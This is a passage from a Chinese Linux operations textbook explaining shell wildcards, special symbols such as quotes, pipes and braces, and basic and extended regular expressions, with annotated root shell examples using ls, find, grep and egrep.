[root@oldboy test]# touch oldboy.txt oldgirl.txt test.txt

[root@oldboy test]# touch inca.sh

[root@oldboy test]# ls

inca.sh  oldboy.txt  oldgirl.txt  test.txt  #<==3个txt结尾，1个sh结尾，共4个文件。




 
“*”号的使用示例如下。
 
1）查看所有结尾为txt的文件，示例代码如下：
 


[root@oldboy test]# ls *.txt     #<==结尾为“.txt”，开头匹配任意（0或多个）字符。

oldboy.txt  oldgirl.txt  test.txt




 
2）查看所有结尾为sh的文件，“.sh”的前面可有任意个0。
 


[root@oldboy test]# ls *.sh

inca.sh




 
10.2.2　通配符之“？”号的作用介绍与实践
 
在Linux命令行通配符中，“？”号代表的是任意一个字符（有且只有一个），这个字符在实际工作中运用得不多，读者了解即可。
 
“？”号的使用示例代码如下：
 


[root@oldboy test]# ls

inca.sh  oldboy.txt  oldgirl.txt  test.txt

[root@oldboy test]# ls ?.sh     #<==问号仅匹配一个字符，因此，没有找到符合要求的文件。

ls: cannot access ?.sh: No such file or directory

[root@oldboy test]# touch a.sh  #<==再创建一个文件。

[root@oldboy test]# ls ?.sh     #<==重新匹配查找，这次找到了。

a.sh

[root@oldboy test]# ls ????.sh  #<==列出4个????，匹配任意4个字符，就找到了inca.sh了。

inca.sh




 
10.2.3　通配符之[abcd]的作用介绍与实践
 
在Linux命令行通配符中，“[]”（中括号）这个符号里面可以加abcd等0到多个字符，表示匹配abcd中的任意一个字符（a、b、c、d中有且只有一个）。
 
[abcd]的使用示例代码如下：
 


[root@oldboy test]# ls

a.sh  inca.sh  oldboy.txt  oldgirl.txt  test.txt

[root@oldboy test]# ls [abcd].sh    #<==匹配“.sh”结尾，且前面必须包含a,b,c,d四个字符中的任意一个。

a.sh

[root@oldboy test]# ls in[abc]a.sh  #<==匹配a.sh结尾，开头是in，之后是a,b,c中的任意一个。

inca.sh




 
10.2.4　通配符之[a-z]的作用介绍与实践
 
“[]”（中括号）这个符号里面的a-z，表示匹配a到z中的任意一个字符（有且只有一个），a-z要连续，也可以用连续的数字替代，例如，[1-9]表示的就是匹配1到9中的任意一个字符。
 
[a-z]号的使用示例代码如下：
 


[root@oldboy test]# touch c.sh d.sh cd.sh

[root@oldboy test]# ls

a.sh  cd.sh  c.sh  d.sh  inca.sh  oldboy.txt  oldgirl.txt  test.txt

[root@oldboy test]# ls [a-z].sh        #<==匹配“.sh”结尾，前面只包含a到z之间的任意一个字符。

a.sh  c.sh  d.sh

[root@oldboy test]# ls [a-z]???.sh #<==匹配a到z之间包含的任意一个字符开头，接下来是任意3个字符，然后以“.sh”结尾，多个通配符可以组合使用。

inca.sh

[root@oldboy test]# touch 1 2

[root@oldboy test]# ls [1-9] #<==匹配0到9之间的任意一个数字。

1  2




 
10.2.5　通配符之[！abcd]的作用介绍与实践
 
[！abcd]表示匹配除了abcd四个字符以外的任意一个字符（有且只有一个），也可以写成[^abcd]或[^a-d]，还可以用连续的数字替代，例如[^1-9]。
 
[！abcd]的使用示例代码如下：
 


[root@oldboy test]# touch a b c d e f

[root@oldboy test]# ls [^abcd] #<==匹配包含a,b,c,d任意字符以外的单个字符。

1  2  e  f

[root@oldboy test]# ls

1  a     b  cd.sh  d     e  inca.sh     oldgirl.txt

2  a.sh  c  c.sh   d.sh  f  oldboy.txt  test.txt

[root@oldboy test]# ls [!abcd] #<==匹配包含a,b,c,d任意字符以外的单个字符。

1  2  e  f

[root@oldboy test]# ls [!a-d]  #<==匹配包含a,b,c,d任意字符以外的单个字符。

1  2  e  f

[root@oldboy test]# ls [^1-9]  #<==匹配包含1到9任意数字以外的单个字符。

a  b  c  d  e  f




 
10.2.6　通配符之综合实践案例
 
范例10-1：查找/etc目录下包含hosts字符串的所有文件。
 


[root@oldboy test]# find /etc/ -type f -name "*hosts*"

/etc/hosts.allow

/etc/hosts.deny

/etc/selinux/targeted/modules/active/modules/denyhosts.pp

/etc/sysconfig/networking/profiles/default/hosts

/etc/hosts




 
范例10-2：查找/etc目录下的所有文件，规则是文件名的第一个字符为任意字符，第二个字符为o、p、q中的任意一个字符，第三个字符不能在a到r之间，结尾是ts。
 


[root@oldboy test]# find /etc/ -type f -name "?[opq][^a-r]ts"

/etc/sysconfig/networking/profiles/default/hosts

/etc/hosts




 
[image: ]提示：这道题没有什么实际用途，纯粹是为练习通配符组合。
10.3　Linux特殊符号知识与实践
 
相比通配符来说，Linux特殊符号更加复杂，且杂乱无章，但是，要想成为一个合格的Linux运维工程师，就必须要掌握这些特殊符号。
 
10.3.1　与路径和位置有关的特殊符号
 
为了便于读者掌握特殊符号知识，笔者将相应符号做了一个归类，在Linux中，与路径和位置有关的特殊符号见表10-2。后面会根据归类进一步讲解具体含义，并进行实践。
 
表10-2　通配符符号集合

 
 [image: ]

 
1.波浪线（~）的介绍与实践
 
在Linux系统命令行中，“~”代表用户的家目录，超级用户为“/root”，普通用户为“/home”。
 
示例代码如下：
 


[root@oldboy test]# pwd

/root/test                #<==当前路径。

[root@oldboy test]# cd ~  #<==切换到用户家目录，即/root。

[root@oldboy ~]# pwd

/root                     #<==root用户家目录。




 
2.短横杠（-）的介绍与实践
 
在Linux系统命令行中，“-”代表上一次用户所在的路径。
 
示例代码如下：
 


[root@oldboy test]# cd ~

[root@oldboy ~]# pwd

/root

[root@oldboy ~]# echo $OLDPWD     #<==查看上一次所在路径的变量命令。

/root/test                    #<==上一次所在路径为/root/test。

[root@oldboy ~]# cd -          #<==切换到上一次所在路径，即/root/test。

/root/test

[root@oldboy test]# echo $OLDPWD     #<==再查看上一次所在路径。

/root

[root@oldboy test]# cd -          #<==切到上一次所在路径，即/root。

/root




 
3.点号（.）的介绍与实践
 
在Linux系统命令行中，点号代表当前目录，示例代码如下：
 


[root@oldboy test]# pwd               #<==查看当前路径。

/root/test

[root@oldboy test]# cd .               #<==切换到点号所在路径。

[root@oldboy test]# pwd

/root/test        #<==还是在原来的路径下。

[root@oldboy test]# find . -name "*.sh"     #<==查找当前路径下的所有符合“*.sh”的文件。

./c.sh

./inca.sh

./a.sh

./cd.sh

./d.sh




 
[image: ]提示：这里的点号代表/root/test，即当前命令所在的目录路径。
 
4.双点号（..）的介绍与实践
 
在Linux系统命令行中，双点号代表当前目录的上一级目录，示例代码如下：
 


[root@oldboy test]# pwd        #<==查看当前路径。

/root/test

[root@oldboy test]# cd ..      #<==切换到双点号所在路径。

[root@oldboy ~]# pwd

/root      #<==路径变到了“/root”下，原来是/root/test，上级正好是/root。

[root@oldboy ~]# mkdir dir1

[root@oldboy ~]# ls -a dir1/

.  ..      #<==任何一个新目录下都有一个点号（当前目录）和一个双点号（上级目录）。




 
10.3.2　不同引号特殊符号的知识与实践（重要）
 
在Linux命令行或脚本中，处理字符串时，经常会涉及引号问题，很多新手在操作命令时，不知道该不该加引号，或者应该加什么样的引号，什么时候可以不加。为此笔者在此列出了一个表格与读者分享（见表10-3），后文再进行实践演练，表10-3来源于《跟老男孩学Linux运维：Shell编程实战》的3.3.1节。
 
表10-3　单引号、双引号与不加引号、反引号的知识说明

 
 [image: ]

 
1.反引号（″）的介绍与实践
 
简单来说，当将待处理的字符串用反引号引起来的时候，系统首先会将反引号里字符串当作命令进行解析，然后针对解析后的结果做进一步的处理。反引号一般用于引用命令，执行的时候命令会被执行，相当于“$（）”，赋值和输出都要将命令用反引号（"）引起来。下面以echo命令为例来检验上述描述结果：
 


[root@oldboy ~]# date         #<==打印系统当前日期的命令。

Sat Mar 31 20:50:35 CST 2018

[root@oldboy ~]# echo date    #<==若不加反引号，就会将date当作字符串输出。

date

[root@oldboy ~]# echo `date`   #<==将date命令反引起来，系统会将date当作是一个命令。

Sat Mar 31 20:50:42 CST 2018

[root@oldboy ~]# echo `aa`    #<==aa被反引起来之后，将作为命令解析。

-bash: aa: command not found  #<==aa命令找不到，从提示信息可以得知，系统将aa当作命令执行了。

[root@oldboy ~]# cd test/

[root@oldboy test]# touch `date +%F`.txt  #<==将命令反引起来作为待创建的文件名。

[root@oldboy test]# ls `date +%F`.txt     #<==查看，date命令见后文。

2018-03-31.txt

[root@oldboy test]# ls -l `which cat`     #<==将查看cat命令反引起来作为ls的待处理文件。

-rwxr-xr-x. 1 root root 48568 Mar 23  2017 /bin/cat




 
2.双引号（""）的介绍与实践
 
当输出双引号内的所有内容时，如果内容中有命令（要反引一下）、变量、特殊转义符等，则会先将变量、命令、转义字符解析出来，然后输出最终的内容。若在平时引用字符串时，不知道应该如何引用，则可以默认使用双引号，这种引用也称为弱引用。示例代码如下：
 


[root@oldboy test]# echo "date"                #<==被引用的内容作为字符串输出。

date

[root@oldboy test]# echo "`date`"               #<==经过反引号引起来的命令会在解析后输出。

Sat Mar 31 21:05:59 CST 2018

[root@oldboy test]# echo "$（date）`which mkdir`"      #<==经过反引号或“$()”引起来的命令会在解析后输出。

Sat Mar 31 21:06:28 CST 2018 /bin/mkdir

[root@oldboy test]# echo "today is `date +%w`"

today is 6




 
3.单引号（''）的介绍与实践
 
简单来说，当将待处理的内容用单引号引起来时，引号里面有什么内容，处理时就一直保持引号之前的内容不变，下面用echo命令来检验上述描述结果：
 


[root@oldboy test]# echo 'date'          #<==即使是命令也会作为字符串原样输出。

date

[root@oldboy test]# echo '`date`'          #<==用反引号引起来也没用，还是原样输出。

'date'




 
[image: ]结论：
 
当用echo输出时，用单引号引起的内容是什么，输出来的内容就是什么，不会有任何改变（就是“所见即所得”）。
 
4.无任何引号的介绍与实践
 
不使用引号的功能与双引号类似，但由于没有引号，很难确定字符串的边界，因此很容易出现各种未知的操作错误，综上所述，若无特殊情况，在处理字符串内容时建议读者使用双引号替代不加引号（连续的数字字符串可以不加引号）的情况。示例代码如下：
 


[root@oldboy test]# echo "today is 'date +%w'"

today is 6

[root@oldboy test]# echo today is 'date +%w'

today is 6

[root@oldboy test]# echo I am oldboy

I am oldboy

[root@oldboy test]# echo $（date）'which mkdir'

Sat Mar 31 21:13:51 CST 2018 /bin/mkdir




 
10.3.3　重定向特殊符号知识与实践（重要）
 
这部分内容在前面章节中已经详细讲解过，这里仅给出相关表格（见表10-4），供读者复习参考。
 
表10-4　重定向相关知识总结表格

 
 [image: ]

 
10.3.4　其他特殊符号知识与实践（重要）
 
其他特殊符号相关知识总结如表10-5所示。
 
表10-5　其他特殊符号相关知识总结

 
 [image: ]

 
1.分号（；）的介绍与实践
 
在Linux命令行中，分号（；）表示一个命令的结束，它也是命令间的分隔符。在有些配置文件中，以分号开头的内容代表注释，例如在keepalived.conf高可用配置中就是如此。
 
“；”号的使用示例代码如下：
 


[root@oldboy test]# pwd;     #<==结尾加了分号。

/root/test

[root@oldboy test]# pwd;pwd  #<==分隔两个命令。

/root/test

/root/test




 
2.井号（#）的介绍与实践
 
在Linux系统的配置文件中，经常会看到以“#”号开头的内容，表示后面的是注释内容，这部分内容是给管理员看的，系统不会执行以“#”号开头的内容。示例代码如下：
 


[root@oldboy test]# tail /etc/ssh/sshd_config 

#Banner none

# override default of no subsystems

Subsystem sftp  /usr/libexec/openssh/sftp-server

# Example of overriding settings on a per-user basis

#Match User anoncvs

#    X11Forwarding no

#    AllowTcpForwarding no

#    ForceCommand cvs server




 
3.管道符（|）的介绍与实践
 
在Linux系统命令行中，管道符（|）是极其重要的符号，是命令行中十分常见的符号。
 
提到管道二字，大家能想起什么来？是否会想起生活中的下水道、自来水管道等呢？图10-1所示的就是一处工地施工铺设的管道。
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图10-1　工地施工铺设的管道
 
Linux中管道的作用与图10-1中所示的管道作用是类似的，只不过Linux管道里传输的是数据流，而不是水流或气流，在实际命令行中，一个命令处理后并未得到想要的结果为止，此时需要将数据交给其他命令继续处理，直到得到最终结果为止，在命令和命令之间就需要用管道衔接将数据流发过来进行处理。
 
管道符（|）的使用示例代码如下：
 


[root@oldboy test]# ifconfig|grep 10.0.0  #<==将ifconfig的输出结果输出给grep进行过滤。

    inet addr:10.0.0.7  Bcast:10.0.0.255  Mask:255.255.255.0

[root@oldboy test]# cat /etc/services|grep 3306  #<==读取服务文件输出给grep过滤。

mysql           3306/tcp                        # MySQL

mysql           3306/udp                        # MySQL




 
[image: ]提示：
 
·对于文件的过滤，尽量不要使用管道，而是直接用grep 3306/etc/services这样的命令。

·管道虽然方便，但是效率并不高，因此，执行命令时能尽量一次出结果，就不要使用管道。
 
4.美元符（$）的介绍与实践
 
在Linux系统命令行或Shell脚本程序中，在字符串前加“$”符号，代表的是字符串变量的内容。示例代码如下：
 


[root@oldboy ~]# echo $OLDPWD

/root/test

[root@oldboy ~]# echo $PS1

[\u@\h \W]\$

[root@oldboy ~]# echo $PATH

/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin

[root@oldboy ~]# oldboy=1

[root@oldboy ~]# echo $oldboy

1




 
5.大括号（{}）的介绍与实践
 
“{}”有多种用途，下面分别来看看。
 
1）“{}”表示生成序列（一连串的文本），示例代码如下：
 


[root@oldboy test]# echo {1..10} #<==两个点号表示从1到10，默认以空格分隔。

1 2 3 4 5 6 7 8 9 10

[root@oldboy test]# echo {a..g} #<==两个点号表示从a到g的所有字符，默认以空格分隔。

a b c d e f g

[root@oldboy test]# echo {o,l,d,b,o,y}#<==用逗号分开，列出来。

o l d b o y




 
2）利用“{}”功能来快速备份关键文件（特殊应用），示例代码如下：
 


[root@oldboy test]# cp /etc/ssh/sshd_config{,.ori} 

#<==等价/etc/ssh/sshd_config /etc/ssh/sshd_config.ori。

[root@oldboy test]# ls -l /etc/ssh/sshd_config{,.ori}

-rw-------. 1 root root 3879 Mar 22  2017 /etc/ssh/sshd_config

-rw-------. 1 root root 3879 Mar 31 22:23 /etc/ssh/sshd_config.ori




 
3）将变量括起来作为变量的分隔符，示例代码如下：
 


[root@oldboy test]# week=6               #<==定义变量week并赋值6。

[root@oldboy test]# echo $week           #<==输出变量值。

6

[root@oldboy test]# echo "$week_oldboy"   #<==输出为空，系统将week_oldboy作为变量了。

[root@oldboy test]# echo "${week}_oldboy" #<==将变量week用大括号括起来再输出就对了。

6_oldboy




 
10.3.5　Bash中的逻辑操作符系列
 
本节的内容既可以在Bash脚本中使用，也可以在Linux命令行中使用。Bash中的逻辑操作符系列的相关总结见表10-6。
 
表10-6　Bash中逻辑操作符系列
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10.4　Linux通配符与特殊符号知识小结
 
Linux的通配符与特殊符号的知识比较繁杂，不好记忆，读者要通过不断地练习和总结来加强记忆，在本章结尾，笔者将本章讲解的内容以表格（表10-7）的形式整理如下。
 
表10-7　Linux通配符与特殊符号知识总结
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第11章　Linux正则表达式与三剑客知识应用实践
 
11.1　正则表达式介绍

 
11.1.1　什么是正则表达式？
 
简单地说，正则表达式就是为处理大量的字符串及文本而定义的一套规则和方法。假设“@”代表“I am”，“！”代表“oldboy”，则执行echo"@！"的结果就是输出“I am oldboy”。通过这些特殊符号的辅助，管理员可以快速过滤、替换或输出所需要的字符串，让Linux运维工作变得更高效。
 
Linux三剑客的正则表达式具有如下几个特点。
 
·其是为处理大量文本及字符串而定义的一套规则和方法。

·其工作时以行为单位进行，即一次处理一行。

·正则表达式可以将复杂的处理任务化繁为简，以提高操作Linux的效率。

·仅受三剑客（grep/egrep、sed、awk）命令支持，其他命令无法使用。
 
11.1.2　为什么要学习正则表达式？
 
实际企业中，运维工程师在进行Linux运维工作时，通常都会面对大量带有字符串的内容，比如文本配置、程序、命令输出及日志文件等，而我们经常会有迫切的需要，比如，要从大量的字符串内容中查找符合工作需要的特定的字符串，这就需要借助正则表达式强大功能的帮助了。因此，可以说正则表达式就是为过滤这样特殊的字符串而生的！
 
例如，若要从ifconfig的输出中取出IP地址段的内容，则可以利用如下命令配合正则表达式字符匹配功能来实现。示例代码如下：
 


[root@oldboy ~]# ifconfig eth0|sed -rn '2s#^.*addr:（.*）Bc.*$#\1#gp' #<==CentOS6下的命令。

10.0.0.7

[root@oldboyedu ~]# ifconfig eth0|sed -rn '2s#^.*inet （.*）net.*$#\1#gp' #<==CentOS7下的命令。

10.0.0.7




 
11.1.3　有关正则表达式容易混淆的事项
 
正则表达式的应用非常广泛，存在于各种语言之中，例如，Python、Java、Perl（PCRE）等。但是，本文所讲的是Linux系统运维工作中的正则表达式，即Linux正则表达式，应用正则表达式的命令就是grep（egrep）、sed、awk，换句话说，Linux三剑客要想工作得更高效，那么一定是离不开正则表达式的配合。注意，其他普通命令在正常情况下是无法使用正则表达式的。
 
正则表达式与前文讲解的通配符、特殊字符是有本质区别的，正则表达式在Linux中是通过三剑客命令在文件（或数据流）中过滤内容的。而通配符则是大部分普通命令都支持的，它主要可用来查找文件或目录，比如说查找以.txt结尾的文件时，就是使用“*.txt”这样的字符串进行匹配。这一点请大家注意。
 
11.1.4　学习正则表达式的注意事项
 
在学习正则表达式之前，先来看一下几点说明，具体如下。
 
·Linux正则表达式是以行为单位进行处理的。

·正则表达式仅适用于三剑客命令，为了方便讲解，本章更多使用grep和egrep命令进行演示，并且还会建议为它们加上一个别名配置，示例代码如下：
 


alias grep='grep --color=auto'

alias egrep='egrep --color=auto'     #<==配置后会将匹配上的内容用红色显示，仅CentOS6需要配置。




 
·注意LC_ALL环境变量的设置，建议设置如下：
 


export LC_ALL=C                          #<==配置后操作时不会出现异常匹配的情况。




 
完整的处理及生效命令如下：
 


cat >>/etc/profile<<EOF              #<==注意EOF后面不要有多余的空格。

alias grep='grep --color=auto'

alias egrep='egrep --color=auto'     

export  LC_ALL=C

EOF                                  #<==注意EOF前后都没有空格或其他符号。

source  /etc/profile                  #<==使修改的内容生效。




11.2　正则表达式的分类
 
Linux三剑客的正则表达式可分为两类，具体如下。
 
·基本正则表达式（BRE，basic regular expression）
 
BRE对应的元字符有“^$.[]*”。
 
·扩展正则表达式（ERE，extended regular expression）
 
ERE在BRE的基础上增加了“（）{}？+|”等字符。
 
11.2.1　基本正则表达式（BRE）集合
 
为了让读者能够更加直观地掌握基本的正则表达式知识，表11-1针对所有常用的正则表达式特殊字符及功能进行了说明。
 
表11-1　基本正则表达式常用的特殊字符及功能
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[image: ]提示：后文将会对基本正则表达式字符实践进行测试。
 
11.2.2　扩展正则表达式（ERE）集合
 
为了让读者能够更加直观地掌握扩展正则表达式的知识，表11-2针对所有常用的扩展正则表达式特殊字符及功能进行了说明。
 
表11-2　扩展正则表达式常用的特殊字符及功能
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[image: ]特别强调：支持扩展正则的3种方法
 
·grep命令加“-E”参数即可支持扩展正则。

·grep命令不加参数也可以使用扩展正则表达式的特殊字符，但有个条件，就是需要在使用的每个特殊的字符前面加“\”（反斜线）。

·egrep命令可直接支持扩展正则。
11.3　基本正则表达式实践
 
11.3.1　实践环境准备
 
为了使得测试的效果更明显，这里特别为测试准备了合适的文本文件，建议读者也采用这个文件进行测试学习（同样可以从QQ群784850820（口令：oldboy）中获取测试文件~/test/oldboy.txt）：
 


mkdir ~/test -p

cat >~/test/oldboy.txt<<EOF

I am oldboy teacher!

I teach linux.



I like badminton ball ,billiard ball and chinese chess!

our site is http://www.oldboyedu.com

my qq num is 49000448.



not 4900000448.

my god ,i am not oldbey,but OLDBOY!

EOF




 
最终文件输出如下：
 


[root@oldboy ~]# cd ~/test/

[root@oldboy test]# cat -n oldboy.txt 

    1     I am oldboy teacher!

    2     I teach linux.

    3     

    4     I like badminton ball ,billiard ball and chinese chess!

    5     our site is http://www.oldboyedu.com

    6     my qq num is 49000448.

    7     

    8     not 4900000448.

    9     my god ,i am not oldbey,but OLDBOY!




 
11.3.2　“^”（尖角号）功能实践
 
“^”称为尖角号，用法如“^oldboy”，表示匹配以oldboy单词开头的行，下面来看个具体示例。
 
范例11-1：输出以m开头的所有行并打印行号。
 
具体命令及结果如下：
 


[root@oldboy test]# grep -n "^m" oldboy.txt  #<==-n是打印过滤的内容在原文件中的行号。

6:my qq num is 49000448.

9:my god ,i am not oldbey,but OLDBOY!




 
“^m”表示找出以m字母开头的所有行，并显示出来。注意，若没特殊需求，请用双引号将要过滤的内容（单引号也可以）引起来，否则可能会遇到异常问题。
 
11.3.3　“$”（美元符）功能实践
 
“$”符号，称为美元符，用法如“oldboy$”，表示匹配以oldboy单词结尾的行，下面来看个具体示例。
 
范例11-2：显示以m结尾的所有行。
 


[root@oldboy test]# grep "m$" oldboy.txt

our site is http://www.oldboyedu.com




 
“m$”表示以字母m结尾的行。注意“$”符号在后面，表示以“....”结尾的行。
 
[image: ]提示：默认情况下，Linux下的所有文件结尾都有一个“$”符，可使用cat-A查看文件中每行结尾的“$”符，表示每行结尾。
 


[root@oldboy test]# grep "m$" oldboy.txt|cat -A

our site is http://www.oldboyedu.com$




 
11.3.4　“^$”功能实践
 
范例11-3：显示空行及对应的行号。
 


[root@oldboy test]# grep -n "^$" oldboy.txt

3:

7:




 
简单理解，“^$”表示的空行可以看作以“$”符开头，即以结尾开头，或者看作以“^”结尾，即以开头结尾，其实两者都是表示中间没有任何内容，即空行。
 
[image: ]注意：空行中什么都没有，没有任何符号或字符，有空格也不算空行。
 
11.3.5　“.”（点）功能实践
 
在正则表达式中，“.”（点号）表示匹配任意一个字符（有且只有一个），但是不包含空行。
 
范例11-4：匹配任意一个字符并输出对应文件中的行号。
 


[root@oldboy test]# grep -n "." oldboy.txt

1:I am oldboy teacher!

2:I teach linux.                                        #<==没有显示第3行空行。

4:I like badminton ball ,billiard ball and chinese chess!

5:our site is http://www.oldboyedu.com

6:my qq num is 49000448.                                #<==没有显示第7行空行。

8:not 4900000448.

9:my god ,i am not oldbey,but OLDBOY!




 
“.”（点号）匹配任意一个字符，所以文件的内容都出来了，但是上面找到的内容不包含空行。
 
范例11-5：显示以“.”（点号）结尾的行。
 


[root@oldboy test]# grep ".$" oldboy.txt 

I am oldboy teacher!

I teach linux.

I like badminton ball ,billiard ball and chinese chess!

our site is http://www.oldboyedu.com

my qq num is 49000448.

not 4900000448.

my god ,i am not oldbey,but OLDBOY!




 
在这里“.$”表示的是以任意单个字符结尾的行，因此结果并不是我们想要的以点结尾的行，因为“.”（点号）表示任意一个字符。正确的答案见下文。
 
11.3.6　“\”（转义符）功能实践
 
转义符号（\）也称撬棍，主要用途是让有特殊含义的符号（字符）脱掉马甲，现出原形。
 
比如前文中的范例11-5“显示文件中以“.”（点号）结尾的行”的正确答案为：
 


[root@oldboy test]# grep '\.$' oldboy.txt #使用转义字符（撬棍），去掉“.”（点号）的特殊含义变为小数点。

I teach linux.

my qq num is 49000448.

not 4900000448.




 
因为点号在正则表达式中具有特殊含义，如果你想使用点本身的含义，就需要使用撬棍（转义字符）处理特殊符号。
 
11.3.7　“*”（星号）功能实践
 
“*”号表示匹配前一个字符0次或0次以上，下面通过实践来理解这个符号。
 
范例11-6：输出文件中连续出现0次或0次以上的数字0的内容。
 


[root@oldboy test]# grep '0*' oldboy.txt

I am oldboy teacher!

I teach linux.



I like badminton ball ,billiard ball and chinese chess!

our site is http://www.oldboyedu.com

my qq num is 49000448.



not 4900000448.

my god ,i am not oldbey,but OLDBOY!




 
从结果可以看出，grep的确将连续的数字0都找到了，并且显示了它们所在的行。
 
[image: ]提示：这里的“0*”之所以会将文件所有行都匹配显示出来，是因为“*”表示前一个字符连续出现了0次。0次即什么也没有，实际上每一行也都被匹配了，整个文件内容都显示出来了。
 
11.3.8　“.*”组合符功能实践
 
“.”（点号）表示任意一个字符，“*”（星号）表示匹配前一个字符0次或0次以上，所以“.*”放在一起就表示匹配所有字符，包括空行。
 
范例11-7：通过grep显示文件的所有内容，包括空行。
 


[root@oldboy test]# grep '.*' oldboy.txt

I am oldboy teacher!

I teach linux.



I like badminton ball ,billiard ball and chinese chess!

our site is http://www.oldboyedu.com

my qq num is 49000448.



not 4900000448.

my god ,i am not oldbey,but OLDBOY!




 
这样就把整个文件的内容都显示出来了。
 
范例11-8：测试“^.*o”能够匹配到的内容。
 


[root@oldboy test]# grep '^.*o' oldboy.txt

I am oldboy teacher!

I like badminton ball ,billiard ball and chinese chess!

our site is http://www.oldboyedu.com

not 4900000448.

my god ,i am not oldbey,but OLDBOY!




 
通过这个正则表达式我们可以发现，这里想要匹配任意多个字符开头一直到第一个字母为o为止的内容。
 
可是我们通过执行的结果可以看出，“^.*o”实际上是匹配到了每一行的最后一个字母o。这种匹配相同字符到最后一个字符的特点称为正则表达式的贪婪性。
 
熟悉正则表达式的这种特点，有助于我们以后对正则表达式的熟练使用。
 
11.3.9　“[abc]”（中括号）功能实践
 
中括号表达式，[abc]表示匹配一个“[]”中的任何一个字符，a或b或c。
 
常用的形式具体如下。
 
·[a-z]表示匹配所有单个小写字母。

·[A-Z]表示匹配所有单个大写字母。

·[a-zA-Z]表示匹配所有单个大小写字母。

·[0-9]表示匹配所有单个数字。

·[a-zA-Z0-9]表示匹配所有字母和数字。
 
这些都是正则表达式中比较常见的形式。
 
范例11-9：匹配出文件中所有的大写字母。
 


[root@oldboy test]# grep '[A-Z]' oldboy.txt

I am oldboy teacher!

I teach linux.

I like badminton ball ,billiard ball and chinese chess!

my god ,i am not oldbey,but OLDBOY!




 
范例11-10：中括号表达式的误区示例。
 
有人会用[oldboy]括号表达式匹配oldboy这个单词，实际上这样操作是有问题的，下面来看一下图11-1所示的例子。
 
 
 [image: ] 


图11-1　中括号正则表达式示例
 
从图11-1所示的结果可以看出，[oldboy]这里实际上是匹配的小写字母o或l或d或b或o或y中的任何一个字符。
 
读者可以通过grep命令的-o（小写字母O）来显示grep命令到底匹配到了什么。
 


[root@oldboy test]# grep -o "[oldboy]"  oldboy.txt 

...输出太长省略...




 
在grep-o命令的执行结果中，每一行就是grep命令每一次找到的内容。可以发现grep"[oldboy]"实际上是一次就找到了一个匹配的字符。
 
11.3.10　“[^abc]”（中括号内取反符）功能实践
 
[^abc]或[^a-c]这种命令中，“^”在中括号的第一位时表示排除，即排除字母a或字母b或字母c，这里在“[]”里面出现的尖角号就表示取反（非）。
 
范例11-11：匹配除了小写字母以外的符号，如图11-2所示。
 
 
 [image: ] 


图11-2　中括号内取反图示
11.4　扩展正则表达式实践
 
需要说明的是，这里的扩展正则表达式功能请用egrep或者grep-E进行测试。
 
11.4.1　“+”（加号）功能实践
 
“+”（加号）表示匹配前一个字符1次或1次以上，其与基础表达式里的“*”类似，只不过比“*”少了一个匹配0次。
 
范例11-12：匹配文件中的数字0一次或多次。
 


[root@oldboy test]# egrep "0+" oldboy.txt 

my qq num is 49000448.

not 4900000448.

[root@oldboy test]# egrep -o "0+" oldboy.txt 

000

00000




 
注意，“+”是扩展正则表达式符号，而grep默认是不支持扩展正则的，需要使用grep-E或egrep，这里推荐使用egrep。
 
11.4.2　“？”（问号）功能实践
 
“？”（问号）表示匹配前一个字符0次或1次，这个符号在实际运维工作中使用得不多。
 
范例11-13：显示文件中包含gd或god的行。
 


[root@oldboy test]# cat oldgirl.txt  #<==换个测试文件。

good

glad

gd

god

goood

[root@oldboy test]# egrep 'go?d' oldgirl.txt

gd    #<==表示出现0次的时候就是没有字母o。

god   #<==表示字母o出现了1次。




 
表示重复0次或表示连续出现0次的时候，就是什么都没有，这里就是将gd匹配出来了。
 
11.4.3　“|”（竖线）功能实践
 
竖线在扩展正则表达式中表示或者，下面来看一个具体示例。
 
范例11-14：取出包含3306或1521的行。
 


[root@oldboy test]# egrep '3306|1521' /etc/services 

mysql           3306/tcp                # MySQL

mysql           3306/udp                # MySQL

ncube-lm        1521/tcp                # nCube License Manager

ncube-lm        1521/udp                # nCube License Manager




 
11.4.4　“（）”（小括号）功能实践
 
“（）”小括号的功能之一是分组过滤被括起来的内容，括号内的内容表示一个整体，另外“（）”的内容可以被后面的“\n”引用，n为数字，表示引用第几个括号的内容。
 
【分组功能实践】
 
范例11-15：取出包含good或glad的行。
 


[root@oldboy test]# cat oldgirl.txt

good

glad

gd

god

goood




 
这里我们希望使用的方法应是尽量简单的，因为good和glad的第一个和最后一个字母都一样。所以我们来看看，oo或la这样的形式是否能够找出我们想要的结果。
 


[root@oldboy test]# egrep 'goo|lad' oldgirl.txt 

good

glad

goood




 
上述命令找出了包含goo或lad这两个内容的行，但从匹配的内容来看，结果并不完全是我们想要的，这时就可以使用“（）”匹配到如下内容了：
 


[root@oldboy test]# egrep 'g（oo|la）d' oldgirl.txt 

good

glad




 
【小括号的后向引用功能实践】
 


[root@oldboy test]# egrep "（o）\1" oldgirl.txt #<==\1重复第一个小括号的内容，一起匹配两个o。

good

goood




 
[image: ]提示：使用egrep"（oldboy）（oldgirl）（littleboy）\1\2\3"时，“\1”表示匹配第一个括号内的内容，即oldboy，“\2”表示匹配第二个括号内的内容，即oldgirl，“\3”表示匹配第三个括号内的内容，即littleboy，以此类推，这个后向的应用实际上在sed命令中应用得更多一些。
 
11.4.5　{n，m}匹配次数功能实践
 
范例11-16：重复前一个字符各种次数的例子。
 


[root@oldboy test]# egrep "0{3,5}" oldboy.txt #<==匹配数字0，3到5次。

my qq num is 49000448.

not 4900000448.

[root@oldboy test]# egrep "0{,5}" oldboy.txt  #<==匹配数字0，最多5次，全部输出了。

I am oldboy teacher!

I teach linux.



I like badminton ball ,billiard ball and chinese chess!

our site is http://www.oldboyedu.com

my qq num is 49000448.



not 4900000448.

my god ,i am not oldbey,but OLDBOY!

[root@oldboy test]# egrep "0{3,}" oldboy.txt #<==匹配数字0，最少3次。

my qq num is 49000448.

not 4900000448.

[root@oldboy test]# egrep "0{3}" oldboy.txt  #<==匹配数字0，3次。

my qq num is 49000448.

not 4900000448.




11.5　预定义特殊中括号表达式
 
11.5.1　预定义特殊中括号表达式介绍
 
正则表达式中也存在一些已经定义好了的，可直接使用的中括号表达式，见表11-3。
 
表11-3　特殊预定义表达式

 
 [image: ]

 
11.5.2　预定义特殊中括号表达式实践
 
表11-3中的预定义特殊中括号表达式不好记忆，并且有被替代的方法，因此实际工作中使用得并不多，这里给出简单的实践，以供读者参考。
 
范例11-17：正则表达式中括号表达式的使用示例。
 


